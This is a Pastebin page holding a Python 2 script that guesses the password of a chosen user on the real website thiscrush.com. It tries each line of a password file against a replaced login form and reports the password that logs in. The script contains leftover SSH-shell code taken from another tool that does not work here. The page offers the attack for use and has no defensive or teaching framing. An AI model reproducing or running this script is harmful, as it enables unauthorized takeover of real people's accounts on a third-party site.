Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import argparse
- import time
- import mechanize
- import threading
- import itertools
- br = mechanize.Browser()
- br.set_handle_equiv(True)
- br.set_handle_redirect(True)
- br.set_handle_referer(True)
- br.set_handle_robots(False)
- def connect(host, user, password):
- global Found
- Fails = 0
- try:
- new_form = '''
- <form method="POST" action="login.php">
- <center>
- <table style="font-size:12px;font-family:Arial;">
- <tbody><tr><td style="font-weight:bold;">Username:</td><td><input name="username" type="text"></td></tr>
- <tr><td style="font-weight:bold;">Password:</td><td><input name="password" type="password"></td></tr>
- <tr><td colspan="2" style="padding-top:10px;"><input name="submit" value="Login" type="submit"></td></tr>
- </tbody></table>
- </center>
- </form>
- '''
- r =br.open("http://thiscrush.com/login.php")
- r.set_data(new_form)
- br.set_response(r)
- br.select_form( nr = 0 )
- br.form['username'] = user
- br.form['password'] = password
- print "Checking: ",br.form['password']
- response=br.submit()
- if response.geturl()==("http://thiscrush.com/~" + user):
- #url to which the page is redirected after login
- print "\n Password is~ ", password, "\n"
- exit()
- except Exception, e:
- if Fails > 5:
- print "Probs ban"
- exit(0)
- return None
- def main():
- parser = argparse.ArgumentParser()
- #parser.add_argument("host", help="Specify Target Host")
- parser.add_argument("user", help="Specify Target User")
- parser.add_argument("file", help="Specify Password File")
- args = parser.parse_args()
- if args.user and args.file:
- with open(args.file, 'r') as infile:
- for line in infile:
- password = line.strip('\r\n')
- #print "SET PASSWORD: "+str(password)
- rand = '111.111.111.111'
- con = connect(rand, args.user, password)
- if con:
- print "[SSH connected, Issue commands (q or Q) To quit]"
- command = raw_input(">")
- while command != 'q' and command != 'Q':
- con.sendline (command)
- con.prompt()
- print con.before
- command = raw_input(">")
- else:
- print parser.usage
- exit(0)
- #for i in range(5):
- # t = threading.Thread(target=main, args=(i,))
- # t.start()
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement